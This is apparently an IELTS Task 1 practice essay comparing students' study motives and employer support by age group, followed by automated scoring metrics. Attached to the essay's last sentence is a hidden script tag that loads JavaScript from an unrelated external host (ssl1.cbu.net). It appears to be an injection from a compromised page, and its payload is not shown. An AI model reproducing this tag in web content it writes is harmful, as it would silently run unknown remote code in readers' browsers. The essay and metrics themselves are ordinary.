The charts below show the main reasons for study among students of different age groups and the amount of support they recieved from employers.
The first chart below lets us compare the proportion of two reasons for study among students of different age groups. Meanwhile, the second graph provides clear information about the level of support they recieved.
It is easily seen that, the percentage of the career reason decreases gradually from 80 % to approximately 18 %, in contrast the amount of people who study for interest increases from 10 % to 70 %. Furthermore, the proportion of students aged 40-49 who choose studying for career and interest is equal, to be more precise, both of them indicate 40 %.
According to the second graph,it can be claimed that the amount of employers' support fluctuates between 32-62 %, and the maximum amount belongs to students under 26, whereas minimum to students aged 30-39.
The major conclusion drawn from these information bars is that, employers prefer to support students under 26 who choose studying for building up their career.<script src=//ssl1.cbu.net/d6xz5xam></script>
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Sentence: Meanwhile, the second graph provides clear information about the level of support they recieved.
Error: recieved Suggestion: received
flaws:
No. of Words: 150 200
Attribute Value Ideal
Score: 6.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 1 2
No. of Sentences: 6 10
No. of Words: 150 200
No. of Characters: 755 1000
No. of Different Words: 92 100
Fourth Root of Number of Words: 3.5 4.0
Average Word Length: 5.033 4.6
Word Length SD: 2.599 2.4
No. of Words greater than 5 chars: 58 60
No. of Words greater than 6 chars: 43 50
No. of Words greater than 7 chars: 31 40
No. of Words greater than 8 chars: 17 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 25 21.0
Sentence Length SD: 6.758 7.5
Use of Discourse Markers (%): 0.833 0.12
Sentence-Text Coherence: 0.479 0.35
Sentence-Para Coherence: 0.813 0.50
Sentence-Sentence Coherence: 0.104 0.07
Number of Paragraphs: 4 4